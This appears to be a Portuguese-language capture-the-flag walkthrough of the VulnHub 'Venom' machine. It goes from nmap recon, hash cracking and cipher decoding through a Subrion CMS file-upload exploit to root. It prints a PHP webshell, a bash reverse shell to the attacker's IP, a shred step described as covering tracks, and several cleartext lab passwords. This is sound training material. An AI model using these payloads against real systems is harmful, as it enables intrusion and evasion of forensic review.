Venom 1
#easy #VulnHub #Linux #eJPT #eWPT
Reconhecimento de Rede
Descoberta de Hosts Ativos
Para iniciar o reconhecimento da rede, comecei com um ping sweep para identificar quais hosts estavam ativos. Usei o nmap com a opção -sn (ping scan) para realizar essa tarefa:
└─# nmap 10.0.2.1/24 -sn -T4 -n
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.5
Host is up (0.0021s latency).O scan revelou que a máquina alvo estava no IP 10.0.2.5. Esse foi o meu ponto de partida para os próximos passos.
Varredura de Portas e Serviços
Com o IP da máquina alvo em mãos, o próximo passo foi realizar um scan de portas para identificar quais serviços estavam ativos. Usei o nmap para escanear todas as portas TCP:
└─# nmap 10.0.2.5 -p- -sS --min-rate=5000 -v -n -Pn -oG tcp-portscan.txt
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)O scan revelou que as portas 21 (FTP), 80 (HTTP), 139 (NetBIOS), 443 (HTTPS) e 445 (Microsoft-DS) estavam abertas.
Para obter mais detalhes sobre os serviços em execução, executei um scan mais específico nas portas identificadas:
└─# nmap 10.0.2.5 -p 21,80,139,443,445 -sCV -v -n -Pn -oN tcp-scan.txt
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open http Apache httpd 2.4.29
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: VENOM, 127.0.1.1; OS: Unix
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: venom
| NetBIOS computer name: VENOM\\x00
| Domain name: \\x00
| FQDN: venom
|_ System time: 2024-01-24T05:30:21+05:30
| nbstat: NetBIOS ;name: VENOM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| VENOM<00> Flags: <unique><active>
| VENOM<03> Flags: <unique><active>
| VENOM<20> Flags: <unique><active>
| \\x01\\x02__MSBROWSE__\\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-time:
| date: 2024-01-24T00:00:21
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1h50m01s, deviation: 3h10m30s, median: -2sO scan revelou que os serviços encontrados eram:
Porta 21 (FTP): vsftpd 3.0.3
Porta 80 (HTTP): Apache httpd 2.4.29 (Ubuntu)
Porta 139 (NetBIOS): Samba smbd 3.X - 4.X
Porta 443 (HTTPS): Apache httpd 2.4.29 (Ubuntu)
Porta 445 (SMB): Samba smbd 4.7.6-Ubuntu
Além disso, o scan forneceu informações adicionais sobre o serviço NetBIOS/Samba, incluindo a versão do Samba e alguns detalhes sobre o sistema:
Nome do computador NetBIOS: VENOM
Sistema Operacional: Windows 6.1 (Samba 4.7.6-Ubuntu)
Workgroup: WORKGROUP
Esses detalhes foram cruciais para orientar o próximo passo na exploração da máquina.
Explorando o Servidor Web
Quando acessei o servidor web via navegador, encontrei a página padrão do Apache.
Em seguida, inspecionei o código-fonte da página e descobri um comentário contendo um hash suspeito:
└─# curl -s 10.0.2.5
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">
<html xmlns="<http://www.w3.org/1999/xhtml>">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: <https://launchpad.net/bugs/1288690>
-->
<head>
...<SNIP>...
</div>
</div>
<div class="validator">
</div>
</body>
</html>
<!...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->Identifiquei o hash como possivelmente MD5 usando a ferramenta hash-identifier:
└─# hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 5f2a66f947fa5690c26506f66bde5c23
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))Com o hash identificado, usei o site Crackstation para decifrar o hash, obtendo a senha em texto claro: hostinger.
Explorando o FTP
Testando por tentativa e erro o termo "hostinger” como usuário e senha no FTP, conseguimos acesso:
└─# ftp 10.0.2.5
Connected to 10.0.2.5.
220 (vsFTPd 3.0.3)
Name (10.0.2.5:kali): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||47482|)
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 21 2021 files
226 Directory send OK.Salvei essas credenciais para futuras referências:
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)└─# echo 'hostinger' | tee -a users.list pass.list
hostingerDentro do diretório files, encontrei um arquivo chamado hint.txt.
ftp> cd files
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||44062|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 384 May 21 2021 hint.txt
226 Directory send OK.
ftp> get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode (|||49810|)
150 Opening BINARY mode data connection for hint.txt (384 bytes).
100% |**************************************************************************************************************************| 384 148.86 KiB/s 00:00 ETA
226 Transfer complete.
384 bytes received in 00:00 (79.28 KiB/s)
ftp> exit
221 Goodbye.O arquivo hint.txt continha um domínio, o nome de usuário “dora”, dicas criptografadas, além de um desafio para de criptografar uma senha.
└─# cat hint.txt
Hey there...
T0D0 --
* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password
Have fun .. :)Salvei "dora" e a senha criptografada como possíveis credenciais úteis:
└─# echo 'dora' | tee -a users.list
dora
└─# echo 'L7f9l8@J#p%Ue+Q1234' | tee -a pass.list
L7f9l8@J#p%Ue+Q1234Adicionei também o domínio ao arquivo /etc/hosts para facilitar o acesso:
└─# echo -e "10.0.2.5\\tvenom.box" | tee -a /etc/hosts
10.0.2.5 venom.boxAcessando o Novo Domínio
Após acessar o domínio venom.box, percebi que ele resolve para um novo site, que inclui um painel de login:
Inspecionando as dicas que encontrei, notei que alguns textos estavam codificados em Base64. Decodifiquei um desses textos e obtive a dica de usar a cifra Vigenère para decodificar a senha:
└─# echo 'WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0=' | base64 -d | base64 -d | base64 -d
standard vigenere cipherAlém disso, a decodificação de outro texto Base64 me levou ao seguinte site, que oferece uma ferramenta para decodificação usando a cifra Vigenère:
└─# echo 'aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=' | base64 -d
<https://cryptii.com/pipes/vigenere-cipher>Utilizando o site indicado e inserindo o texto cifrado junto com a chave hostinger, obtive uma credencial potencial:
E7r9t8@Q#h%Hy+M1234
Com essa senha e o usuário dora, consegui acessar o painel de login em venom.box, e de fato obtive acesso à conta de administrador, conforme indicado pelo arquivo hint.txt:
Salvei essa informação:
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)└─# echo 'E7r9t8@Q#h%Hy+M1234' | tee -a pass.list
E7r9t8@Q#h%Hy+M1234Explorando o CMS Subrion
No rodapé da página, observei que o site estava rodando o CMS Subrion versão 4.2:
Examinei o código-fonte da página e confirmei que a versão do CMS é 4.2:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<title>My Profile :: Powered by Subrion 4.2</title>
...<SNIP>...Pesquisei vulnerabilidades conhecidas para esta versão do CMS usando o searchsploit e encontrei várias falhas de segurança, incluindo uma vulnerabilidade de upload de arquivos:
┌──(root㉿kali)-[/home/kali/CTF]
└─# searchsploit subrion 4.2
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51110.txt
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsDecidi explorar a vulnerabilidade de upload de arquivos para executar código remoto. Utilizei o script de exploração disponível para a versão 4.2.1:
└─# searchsploit -m 49876
Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
URL: <https://www.exploit-db.com/exploits/49876>
Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
Codes: CVE-2018-19422
Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
Copied to: /home/kali/CTF/49876.pyO script pede uma URL base para o painel de administração, além de credenciais de usuário e senha:
└─# python3 49876.py -h
Usage: 49876.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri <http://target/panel>
-l USER, --user=USER User credential to login
-p PASSW, --passw=PASSW
Password credential to loginObservando pelo navegador, o script busca abusar da funcionalidade de file upload, enviando assim uma webshell:
Ao executar o script com a URL do painel e as credenciais de dora, obtive sucesso na autenticação e na execução do ataque.
Com a webshell carregada, consegui executar comandos no servidor e confirmar que estava operando como www-data:
└─# python3 49876.py -u <http://venom.box/panel/> --user=dora --passw=E7r9t8@Q#h%Hy+M1234
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: <http://venom.box/panel/>
[+] Success!
[+] Got CSRF token: n9uADf4PFgjwMkBlQ0ssCd3xpn2JXpLJzDiVXl6h
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: ednsffynwqaeveo
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: <http://venom.box/panel/uploads/ednsffynwqaeveo.phar>
$ whoami
www-data
$ hostname -I
10.0.2.5Ganho de Acesso
Depois de fazer o upload da webshell maliciosa com a funcionalidade de upload de arquivos, observei que o arquivo .phar foi carregado com sucesso:
Baixei o arquivo e verifiquei seu conteúdo. O script PHP no arquivo .phar permite a execução de comandos no sistema alvo através do parâmetro cmd:
└─# batcat /home/kali/Downloads/ednsffynwqaeveo.phar
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /home/kali/Downloads/ednsffynwqaeveo.phar
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php system($_GET['cmd']); ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Ao clicar com o botão direito no arquivo carregado e selecionar a opção "getsystem", verifiquei onde o arquivo estava acessível:
Para explorar a vulnerabilidade, acessei o arquivo através da URL da webshell, adicionando o parâmetro cmd para executar comandos no sistema:
Entendendo como a vulnerabilidade funciona, decidi modificar o arquivo para executar uma reverse shell. Substituí o código PHP pelo seguinte:
<?php system("bash -c 'bash -i >& /dev/tcp/10.0.2.17/443 0>&1'"); ?> Isso faz com que a webshell se conecte de volta ao meu sistema na porta 443, estabelecendo uma conexão de shell reversa.
Depois de salvar as alterações, configurei meu listener para receber a conexão reversa:
└─# nc -nlvp 443
listening on [any] 443 ...Quando acessei a URL da webshell com o novo código, recebi uma conexão de shell reversa:
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.17] from (UNKNOWN) [10.0.2.5] 36328
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@venom:/var/www/html/subrion/uploads$ whoami; hostname -I
whoami; hostname -I
www-data
10.0.2.5Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de
bashatravés do comandoscript, que abre uma sessão interativa mais apropriada, logo após, colocamos em background comCTRL+Z:www-data@venom:/var/www/html/subrion/uploads$ script /dev/null -c bash script /dev/null -c bash Script started, file is /dev/null www-data@venom:/var/www/html/subrion/uploads$ ^Z zsh: suspended nc -nlvp 443Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
└─# stty size 34 167Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
┌──(root㉿kali)-[/home/kali/CTF] └─# stty raw -echo; fg [1] + continued nc -nlvp 443 reset xtermDefinindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
www-data@venom:/var/www/html/subrion/uploads$ stty rows 34 columns 167 www-data@venom:/var/www/html/subrion/uploads$ export TERM=xterm SHELL=bash
Escalada de Privilégios
Ao ganhar acesso à máquina, verifiquei o diretório de uploads e encontrei o arquivo .phar malicioso que havia carregado:
www-data@venom:/var/www/html/subrion/uploads$ ls -la
total 24
drwxr-xr-x 4 www-data www-data 4096 Jan 24 08:09 .
drwxr-xr-x 13 www-data www-data 4096 May 21 2021 ..
-rwxr-xr-x 1 www-data www-data 656 Jun 14 2018 .htaccess
drwxr-xr-x 2 www-data www-data 4096 May 20 2021 .quarantine
drwxrwxrwx 2 www-data www-data 4096 May 20 2021 .tmb
-rw-r--r-- 1 www-data www-data 68 Jan 24 08:14 ednsffynwqaeveo.pharPara cobrir meus rastros, usei o comando shred para excluir o arquivo de forma segura:
www-data@venom:/var/www/html/subrion/uploads$ shred -zun 5 -v ednsffynwqaeveo.phar
shred: ednsffynwqaeveo.phar: pass 1/6 (random)...
shred: ednsffynwqaeveo.phar: pass 2/6 (ffffff)...
shred: ednsffynwqaeveo.phar: pass 3/6 (random)...
shred: ednsffynwqaeveo.phar: pass 4/6 (000000)...
shred: ednsffynwqaeveo.phar: pass 5/6 (random)...
shred: ednsffynwqaeveo.phar: pass 6/6 (000000)...
shred: ednsffynwqaeveo.phar: removing
shred: ednsffynwqaeveo.phar: renamed to 00000000000000000000
shred: ednsffynwqaeveo.phar: removedAgora que estou com o usuário www-data, verifiquei a presença do usuário hostinger no sistema:
hostinger@venom:/home$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
hostinger:x:1002:1002:,,,:/home/hostinger:/bin/bashMovimentação Lateral
Notei que a senha do hostinger é a mesma usada anteriormente. Assim, acessei a conta do hostinger com a senha hostinger:
www-data@venom:/home$ su hostinger
Password: hostinger
hostinger@venom:/home$Atualizei meu arquivo de credenciais para refletir todas as informações obtidas:
└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)Adicionei também os usuários identificados para referência futura:
└─# echo "nathan\\nroot" | tee -a users.list
nathan
rootApós obter acesso ao diretório /home/hostinger, eu observei que o diretório do usuário nathan não estava acessível devido a permissões restritas:
hostinger@venom:~$ ls /home/*
/home/hostinger:
Desktop Documents Downloads examples.desktop ftp Music Pictures Public Templates Videos
ls: cannot open directory '/home/nathan': Permission deniedNo diretório de hostinger, encontrei o arquivo .bash_history, que continha comandos relacionados a um arquivo de backup:
...<SNIP>...
find raj -exec "whoami" \\;
su root
which find
find nc
find find
cd /tmp
ls
touch raj
find raj -exec "whoami" \\;
cat /var/www/html/subrion/backup/.htaccess
su nathan
lls
s
ls
cat check_me.py
su nathan
cat /var/www/html/subrion/backup/.htaccess
su
clear
su nathanxec "whoami" \\;
su root
...<SNIP>...Fui até o arquivo /var/www/html/subrion/backup/.htaccess, que continha uma possível senha:
hostinger@venom:~$ cat /var/www/html/subrion/backup/.htaccess
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_aTestei essa credencial e confirmei que era válida para o usuário nathan:
hostinger@venom:~$ su nathan
Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/home/hostingerAtualizei o arquivo de credenciais para incluir a senha de nathan:
└─# echo 'FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a' | tee -a pass.list
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a└─# cat creds.txt
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)
nathan : FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a -> user system 10.0.2.5 (bash history leakage)Com a credencial de nathan, agora posso acessar seu diretório home e encontrar a flag de usuário:
nathan@venom:/home$ cd nathan/
nathan@venom:~$ ls
Desktop Documents Downloads examples.desktop Music Pictures Public Templates user.txt Videos
nathan@venom:~$ cat user.txt
W3_@r3_V3n0m:PObtendo Root
Após acessar a conta de nathan, verifiquei as permissões de sudo para entender quais comandos poderiam ser executados com privilégios de root. Descobri que nathan podia executar qualquer comando como root, com a exceção do comando /bin/su:
nathan@venom:~$ sudo -l
[sudo] password for nathan:
Matching Defaults entries for nathan on venom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User nathan may run the following commands on venom:
(root) ALL, !/bin/su
(root) ALL, !/bin/suComo teste, utilizei sudo para iniciar uma shell com privilégios de root. Por exemplo, executei o comando whoami para verificar se realmente tinha privilégios de root:
nathan@venom:~$ sudo whoami
rootIsso confirmou que eu tinha privilégios de root. Então, abri uma shell com sudo para executar comandos diretamente como root:
nathan@venom:~$ sudo bash
root@venom:~# id
uid=0(root) gid=0(root) groups=0(root)Com acesso root, pude acessar o arquivo de flag localizado no diretório /root:
root@venom:~# cat /root/root.txt
#root_flag
H@v3_a_n1c3_l1fe.Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
Atualizado